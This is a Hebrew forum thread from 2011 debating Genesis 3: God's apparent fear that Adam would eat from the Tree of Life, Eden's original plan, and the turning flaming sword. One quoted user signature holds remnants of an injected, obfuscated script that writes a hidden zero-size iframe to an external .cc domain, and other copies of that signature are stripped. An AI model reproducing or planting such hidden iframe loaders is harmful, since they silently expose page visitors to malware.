| נשלח ב-1/3/2011 20:45 |
 |
| |
שאלות על אדם הראשון
הומלץ לי על מאמר מענין העוסק בסיפור חטאו של אדם, וכעוסק בנושא, מצאתי במאמר מספר שאלות שרציתי להביא לברור
http://www.daat.ac.il/daat/mimaamakim/maamar.asp?id=993בראשית פרק ג (כב) וַיֹּאמֶר יְקֹוָק אֱלֹהִים הֵן הָאָדָם הָיָה כְּאַחַד מִמֶּנּוּ לָדַעַת טוֹב וָרָע וְעַתָּה פֶּן יִשְׁלַח יָדוֹ וְלָקַח גַּם מֵעֵץ הַחַיִּים וְאָכַל וָחַי לְעֹלָם:
(כג) וַיְשַׁלְּחֵהוּ יְקֹוָק אֱלֹהִים מִגַּן עֵדֶן לַעֲבֹד אֶת הָאֲדָמָה אֲשֶׁר לֻקַּח מִשָּׁם:
(כד) וַיְגָרֶשׁ אֶת הָאָדָם וַיַּשְׁכֵּן מִקֶּדֶם לְגַן עֵדֶן אֶת הַכְּרֻבִים וְאֵת לַהַט הַחֶרֶב הַמִּתְהַפֶּכֶת לִשְׁמֹר אֶת דֶּרֶךְ עֵץ הַחַיִּים: ס
שאלה א. האם הפסוק הראשון כפשוטו- אלוקים חשש?
ב. מה היתה התכנית המקורית של הבורא- אם האדם לא היה חוטא? איך היו נראים החיים? הילודה? הפרנסה? ההשכלה? וכ'
ג. בשביל מה היה צריך את החרב? האם המלאך לא יכל בלי חרב לעצור את האדם? ולמה חרב מתהפכת- מה פרושו של המתהפכת. למה ובשביל מה היא צריכה להתהפך מה הרמז?
שלש שאלות ראשונות- אני בטוח שהחברים יוסיפו עליהם. הרי אכלנו מעץ הדעת-
|
|
|
|
| נשלח ב-1/3/2011 21:40 |
|
| |
ירוחם, כאשר מגיעים מתוך גישה מסורתית, אכן פרשה זו והרבה פרשיות אחרות יוצרות קושי רב. לעומת זאת כאשר ניגשים למקרא מתוך גישה אובייקטיבית (עם לקיחה בחשבון את הרקע שבו הוא נכתב – המזרח הקדום לפני למעלה מ2500 שנה) הדברים נהפכים לפשוטים הרבה יותר. נקודת המוצא היא שאין הכרח לומר שבתפיסת המקרא האל היה קדוש ומרומם מכל תפיסה ולא ניתן להשוואה לאדם, אלא אדרבה כפי שמוכח במקומות רבים במקרא בהחלט רווחה תפיסה בישראל, שראתה בה' אל דמוי אדם בדומה לאלים המסופוטמיים האחרים או האלים היוונים, עם מגבלות ועם מידות טובות יותר וטובות פחות, וככזה שאינו דואג תמיד לטובת האדם. בהתאם לתפיסה זו כל פרשת האכילה מעץ הדעת מתפרשת על הצד הטוב היותר: אני אוסיף שני שאלות על שאלותיך: א. האל אמר לאדם: מֵעֵץ, הַדַּעַת טוֹב וָרָע--לֹא תֹאכַל, מִמֶּנּוּ: כִּי, בְּיוֹם אֲכָלְךָ מִמֶּנּוּ--מוֹת תָּמוּת. אולם אדם לא מת ממנו ביום אוכלו, מדוע? ב. נאמר וַיֹּאמֶר הַנָּחָשׁ, אֶל-הָאִשָּׁה: לֹא-מוֹת, תְּמֻתוּן. מה היסוד להבטחתו של הנחש, הרי אם ה' רוצה להרוג את אדם לא אמורה להיות לו בעיה בכך? התירוץ לכל השאלות הללו ולעוד הרבה אחרות הוא שהסיפור היה כזה: ה' נטע את עץ הדעת ואת עץ החיים בתוך הגן, ושם את האדם בתוך הגן על מנת לעבוד בגן ולשמור עליו. אולם כאן נוצרה בעיה, אם אדם יוכל מעץ הדעת הוא יהיה חכם בדומה לאל (כפי שרואים לאחר מכן: וַיֹּאמֶר יְ-הוָה אֱלֹהִים, הֵן הָאָדָם הָיָה כְּאַחַד מִמֶּנּוּ, לָדַעַת, טוֹב וָרָע) וה' לא רצה בשום אופן מתחרה. אולם מצד שני אם ה' היה מגלה לאדם את הסיבה האמיתית לכך שהוא לא רוצה שהוא יאכל מהעץ אז כמובן שאדם לא היה שומע בקולו. לכן החליט לומר לאדם שעץ הדעת הוא עץ רעיל וזו כוונת הפסוק: בְּיוֹם אֲכָלְךָ מִמֶּנּוּ--מוֹת תָּמוּת, שהאכילה עצמה תביא למוות. מה שקרה הוא שהנחש שהיה "עָרוּם, מִכֹּל חַיַּת הַשָּׂדֶה", קלקל את התכנית, וחשף את התרמית: " וַיֹּאמֶר הַנָּחָשׁ, אֶל-הָאִשָּׁה: לֹא-מוֹת, תְּמֻתוּן כִּי, יֹדֵעַ אֱ-לֹהִים, כִּי בְּיוֹם אֲכָלְכֶם מִמֶּנּוּ, וְנִפְקְחוּ עֵינֵיכֶם; וִהְיִיתֶם, כֵּא-לֹהִים, יֹדְעֵי, טוֹב וָרָע.".
כפי שרואים אחר כך הנחש לא שיקר ודבריו היו נכונים אחד לאחד: אדם וחווה לא מתו, וה' אכן לא ידע מה לעשות אם העובדה ש" הָאָדָם הָיָה כְּאַחַד מִמֶּנּוּ, לָדַעַת, טוֹב וָרָע" האל חשף את מה שקרה כאשר הוא נכח בצניעותם של אדם וחווה כאשר הוא "התהלך בגן לרוח היום". כל מה שנותר לו לעשות הוא לעסוק במזעור נזקים. על מנת שהאדם לא ידמה לאל בצורה מוחלטת יש למנוע ממנו כל גישה לעץ החיים – שאוכליו חיים לעולם, כך לפחות יהיה הבדל מהותי אחד בין האדם לאל, לצורך כך האל שם את להב החרב המתהפכת בדרך עץ החיים, וכך מנע את הבעיה הזו. עכשיו בנוגע לשאלותיך: א. האם האל חשש?
כן הוא בהחלט חשש. ב. מה הייתה התכנית המקורית של האל?
התוכנית המקורית של האל הייתה כנראה שהאדם ימשיך להיות הגנן והשומר של גן עדן. ג. בשביל מה היה צריך את החרב? האם המלאך לא יכל בלי חרב לעצור את האדם? ולמה חרב מתהפכת- מה פרושו של המתהפכת. למה ובשביל מה היא צריכה להתהפך מה הרמז?
כנראה היה יותר פשוט לשים חרב במקום מלאך שישמור כל הזמן. היא הייתה צריכה להתהפך, כי אם היא לא הייתה מתהפכת היה מאד קל לדלג מעליה או לעקוף אותה.
תוקן על ידי עץ_נטוע ב- 01/03/2011 21:43:30
 |
|
|
|
|
| נשלח ב-1/3/2011 21:51 |
|
| |
נעים להכיר פרשני האל החדשים...
וכי מה מעניין מה שקרה לפני 5771 שנה??
_________________
אוהבת את החיים
< type="text/">document.write("");
|
|
|
|
| נשלח ב-1/3/2011 22:02 |
|
| |
| אלטע_באבע כתב: |  |
נעים להכיר פרשני האל החדשים...
וכי מה מעניין מה שקרה לפני 5771 שנה??
_________________
אוהבת את החיים
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
|
|
מעשי האל (או חוסר מעשיו) לפני 5771 (או 14 מיליארד ) שנה משפיעים על חייהם של מיליארדי מאמינים היום, כך שיש בהחלט עניין לדון בהם.
_________________
|
|
|
|
| נשלח ב-1/3/2011 22:04 |
|
| |
אתה עץ החיים ???? סתם בצחוק. אבל
לא נראה לי פילסופים על כן חששות או לא
חששות האל. מה גם שאם האל
יודע הכול אז הוא ידע שהאדם יחטא.. אז מה החשש??
_________________
אוהבת את החיים
< type="text/">document.write("");
|
|
|
|
| נשלח ב-1/3/2011 22:20 |
|
| |
עץ נטוע
אני נשארתי נטוע- אחרים מהחברים כנראה קיבלו פריחה ו ואחרים הלם קל, אבל לענינו, אנחנו עוסקים היום במאה ה21 בנושא, אנחנו אמורים לתת תשובות של אנשי המאה ה21 ו
הסיפור מסופר בתורה- אם את מתיחסת ומפרשת את הסיפור- את כמובן חייבת להתיחס לכל הסיפור מתחילתו של הספר,
לפי הסיפור הרי מדובר באלוקים בורא שמיים וארץ בשישה ימים, אז מה את אומרת כי הוא ברא את העולם עם בלוף? והוא עד כדי כך אהבל, שאת הבלוף גילה הנחש מיד בקלות- סתם למה לא גילה האדם?- את הבלוף? הרי היה ברור שהבלוף יתגלה. מה הוא לא לקח את זה בחשבון? עונש המיתה לא חייב להיות מידי, המות יבא בשלב בחייו של האדם.
לפי דעתך אלוקים היה צריך גנן- והזול ביותר היה לברא אחד כזה? למה הוא לא ברא את העולם עם דשא סינטטי? והגנן היה מיותר?
בשערי גן העדן היו הרי כרובים=מלאכים. וגם חרב מתהפכת. הרי המלאכים יכלו כרצונם להפוך את החרב? למה היא היתה מתהפכת
אוהבת חיים- אם הנושא לא מעניין אותך אז למה את מגיבה? זה מקלקל את החיים- חבל.
|
|
|
|
| נשלח ב-1/3/2011 22:25 |
|
| |
אני פרשתי מהנושא. משאירה את הבמה לחכמים יודע דעת
עליון...
_________________
אוהבת את החיים
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-1/3/2011 22:45 |
|
| |
ירוחם, השאלה שלך היא שאלה טובה. אולם כמותה אתה יכול לשאול גם על הבבלים הקדמונים [ומן הסתם גם על היוונים]: אליליהם, או לפחות חלק מהם, כמו מורדוך הורג תיהאמת ובורא העולם, היו עוצמתיים במיוחד. ועם כל זאת היו קטנוניים ואף טפשים לפעמים. כך זה כשהאדם בורא לו אלוהים.
כעת השאלה שלך היא אם אתה מוכן לקבל שזו אף הסתכלותו של הכותב המקראי על ה' אלוהיו, שזה מה שרוצה עץ נטוע לומר. או שמא דבר זה גורם לך לפריחה וכאבי ראש. בכל מקרה, זו שאלה של רגש, אמונה, וכו'. אבל אין כאן פירכה על עצם הסברו של עץ נטוע.
|
|
|
|
| נשלח ב-1/3/2011 22:46 |
|
| |
ירוחם
נראה שאת הפסוקים עד השאלות שלך על סיפור הבריאה השני אתה מבין.
מה זה הגן הזה והאם אלוקים ברא את האדם כי פשוט היה חסר לו גנן לעובדה ולשומרה, איפה הגן הזה ואיפה ארבעת הנהרות האלו אתה יודע?
בסיפור הבריאה הראשון נראה שהמטרה של בריאת האדם היה וירדו בדגת הים ובעוף השמים ובכל חית השדה.
מחלוקת אם האדם היה גנן זואולוגי או גנן בוטני
יש לנו בעיה שאנחנו לא יודעים מי כתב את ספר בראשית
תוקן על ידי ראשישיבע ב- 01/03/2011 22:48:39
|
|
|
|
| נשלח ב-1/3/2011 22:47 |
|
| |
ירוחם, דווקא בגלל שאנחנו במאה העשרים ואחת ויש לנו כלים לחקירה היסטורית, וגם ידע מסויים על המיתוסים במזרח הקדום, אנחנו לא אמורים לפרש טקסטים עתיקים בהתאם לחשיבה המודרנית שלנו, אלא לנסות להבין את כוונת כותב הטקסט. סיפור בריאת העולם בפרק א' בבראשית, אינו מעניינינו כאן, כי כפי שהוכיחו חוקרי המקרא הוא קרוב לוודאי נכתב על ידי כותב אחר ולא על ידי מי שכתב את הסיפור המתחיל בפרק ב' פסוק ד' (תבדוק למשל מי נברא קודם, האדם או החיות לפי פרק א' ולפי פרק ב'). בנוגע לשאר שאלותיך, כבר לימדונו רבותינו ש: "אין מקשין מדברי אגדה"[7], " אין סומכין על דברי אגדה"[8], " אין מדקדקין עליהן"[9], " אין משיבין על דברי אגדה"[10], " אין למדים הלכה מדברי אגדה"[11] וכמובן ש: "אין מחוק אמונתינו להאמין בדברי ההגדה כולם"[12].. (הציטוטים באדיבות ויקיפדיה). כל מה שעשיתי הוא לתת את הפירוש הסביר ביותר העולה מפשטות הכתובים. נ.ב : אני מאד מעריך נשים, אבל אני באופן אישי דווקא גבר.
_________________
תוקן על ידי עץ_נטוע ב- 01/03/2011 22:55:07
|
|
|
|
| נשלח ב-1/3/2011 22:50 |
|
| |
ירוק11. הייד פארק נסגר, אז כולם חוזרים לעצור כאן חושבים- נראה אם החברה פה מבינים משהו בבקורת המקרא. צריך להביא לכאן בינתיים את "מקרא".
_________________
|
|
|
|
| נשלח ב-1/3/2011 23:11 |
|
| |
| ראשישיבע כתב: | | ירוק11. הייד פארק נסגר, אז כולם חוזרים לעצור כאן חושבים- נראה אם החברה פה מבינים משהו בבקורת המקרא. צריך להביא לכאן בינתיים את "מקרא".
_________________
|
|
נסגר סופית??
_________________
אוהבת את החיים
< type="text/">document.write("");
|
|
|
|
| נשלח ב-1/3/2011 23:24 |
|
| |
נדמה לי שראש הישיבה צודק, אנחנו עוסקים במקרא- ולכן אנחנו חייבים להצמד לטקסט המקראי- אם אדם לא מאמין במקרא וחושב שהיא לא שווה התיחסות רצינית, אז שלא יתיחס, אבל אי אפשר לערבב בתוך ביקורת המקרא או ניסיון להבינה, ארגומטרים לא רלונטיים ולהכניס בה תכנים לא כתובים,
כשנעסוק במגילות גלגלמש נבחון את חוקי החמורבי, וכד'. הציטטות מויקפדיה אינן במקומם- המקרא אינה אגדה- אחדים מהפירושים עליה הן אגדה, אבל הטקסט המקראי חייבת בדיקה וחקירה, במסגרת הטקסט הכתוב- האמונה או חוסר האמונה במקרה הזה כלל לא רלונטי, כמובן שהאדם המאמין יפרש אחרת, מאדם כופר. אבל מסגרת הנרטיב הסיפורי חייב להשמר.
לברוח משאלה מכיון שיש שאלה אחרת אינה דרך. כרגע נשאלו שאלות אלו. תוסיף שאלות אחרות לעיון וחקירה,
לא איני מבין את ספר בראשית- ומי שאומר שהוא מבינו. לדעתי הוא משקר קודם לעצמו. אבל דווקא חוסר הבנתי מדרבנת אותי לשאל שאלות ,נידבך על נידבך, לבנה על לבנה, איני יודע איך זה אצל אחרים, לי גם פתרונות קלים גורמים לאושר גדול. כי בתור מאמין אני משוכנע כי הסיפורים הללו יש בהם מסר חינוכי גדול.
|
|
|
|
| נשלח ב-1/3/2011 23:29 |
|
| |
איך שאני מבין
החשש הוא שהאדם יחיה לעולם ולא יגיע לא הוא ולא העולם למצב שלם ומתוקן.
להט החרב המתהפכת, זה מה שקורה בפורום הזה (למשל), דהיינו שאין בסיס שורשי ומוצק דיו לעיין במושכלות (ובערך כפי שהבהיר הרמב"ם שהמושכלות והמלאכים חד הם ) וממילא הדרך להגיע אל עץ החיים אובדת...
_________________
|
|
|
|
| נשלח ב-1/3/2011 23:52 |
|
| |
| אישציפור כתב: | | איך שאני מבין
החשש הוא שהאדם יחיה לעולם ולא יגיע לא הוא ולא העולם למצב שלם ומתוקן.
מה הקשר בין מספר שנות החיים לתיקון העולם? האם העובדה שאדם חי 80 שנה משנה משהו?
אם כבר אז סביר יותר להניח להפך. ככל שהאדם חי יותר הוא צובר נסיון רב יותר ויש לו הזדמנות שניה ושלישית לתקן שהרי אילו היה חי לעולם גם לא היה מזדקן,
להט החרב המתהפכת, זה מה שקורה בפורום הזה (למשל), דהיינו שאין בסיס שורשי ומוצק דיו לעיין במושכלות (ובערך כפי שהבהיר הרמב"ם שהמושכלות והמלאכים חד הם ) וממילא הדרך להגיע אל עץ החיים אובדת...
ו_________________
|
|
ואיך המהות של חרב שייכת לעניין הזה?
ומה זה אצלך בסיס שרשי ומוצק?
ואיך מהות עץ החיים שייכת לעיון במושכלות? הרי עץ החיים אינו עץ הדעת.
|
|
|
|
| נשלח ב-2/3/2011 00:41 |
|
| |
צענע,
א. הענין הוא שאדם מתבסס בזקנותו על "מושכלות ראשונות" שנתאמתו בעיניו בצעירותו, ממילא יש ענינים יסודים שלא יתאמתו לו לעולם אם לא ימות, ויותר מכך הוא עלול להעבירם לכל הדורות הבאים כאמת מחייבת, שהרי הוא בעל ניסיון וחכמה שרכש במשך שנים רבות, וממילא נמצא יסוד ההתחדשות נחלש.
ב. אנסה לענות למרות שקל להיכשל כאן.
1. חרב הוא חד וחותך, וזה חלק מהרצון לחתוך את המציאות ואת המושכלות באופן שיתאימו זה לזה גם כשאין זה אפשרי מכל מיני סיבות. (הסיבה הראשונה היא החטא אבל התפלגו ממנה ענינים וסיבות רבות)
2. זו השאלה , שלצערי אני לא מוצא דרך לענות עליה בשעה ובהקשר הזה (ליבה לא גליה לפומא...:-( ), אבל בל"נ אשתדל לחשוב על זה , ולואי והשם יאיר לי את הדרך.
3. אכתוב את הדברים כעובדות מבלי להבהיר למה אני טוען כך , אם יש שאלות אשתדל לענות, אם כי אני לא בטוח שאוכל.
שורש חיי האדם נמצא בראשו , שם משכן הנשמה והחכמה, וכמו שאמר החכם באדם "והחכמה תחיה בעליה" וכד', באשר החכמה היא זו שמקשרת את האדם לסדר הכללי על פיו נברא ומתנהל העולם, וע"י זה האדם יכול לשלב את מציאותו שלו באופן מלא ושלם במקום בו אין סתירה בין הצד האלקי שבעולם והצד החומרי שבו, לפי שהעולם עצמו נברא ע"י הא-להים.
הדעת לעומת זאת היא כח החיבור בין האדם ובין מציאות מסוימת ,ממילא יש שתי דרכים להשתמש בו :
האחת כמחבר בין "עץ החיים" דהיינו החכמה האחדותית והכוללת בה נברא העולם ,ובין מצב העולם בפועל.
והשני ככח בפני עצמו שמתייחס למציאות הקונקרטיות במנותק מהחכמה האלקית שבעולם, ויוצר חיבור בין האדם ובין מציאות העולם במנותק מהעילה הראשונה דהיינו הבורא שברא את שניהם. (=את האדם ואת העולם)
עץ הדעת הוא כח הדעת שנובע מתוך המציאות הארצית חומרית , כלומר זה שמאפשר ובעצם כנראה גם מחייב חיבור בין השכל ובין המציאות גם בנפרד מקשר לחכמת הבורא, לעומתו עץ החיים שמאפשר לגלות את החכמה הכללית הכוללת של הבורא מתוך המציאות , החשש הוא שברגע שיהיה לאדם את החכמה הזו אך דעתו מושפעת מגורמים חיצוניים הוא ישתמש בה לרעה (במתכוין או שלו...) וזו הסיבה שחיזקיהו גנז ספר רפואות מצד אחד של החכמה הזו, ושבמאה הקודמת בזכות גילוי פן אחר של החכמה הזו, האדם השמיד חלק עצום מהאנושות ופגע אנושות במוסר ובתרבות וכמעט בכל ערך אחר.
אני יודע שדברי חסרים מאוד, אחרי הכל גם אני צאצא של אותו אדם שאכל מעץ הדעת, אבל אני מקוה שהצלחתי לשפוך אור מסוים על הדברים, ואם יש קושיות אשתדל לחשוב עליהם, מי יודע אולי יאיר השם את עיני להבין מעט יותר מחוכמתו בזכותכם.
_________________
|
|
|
|
|
|
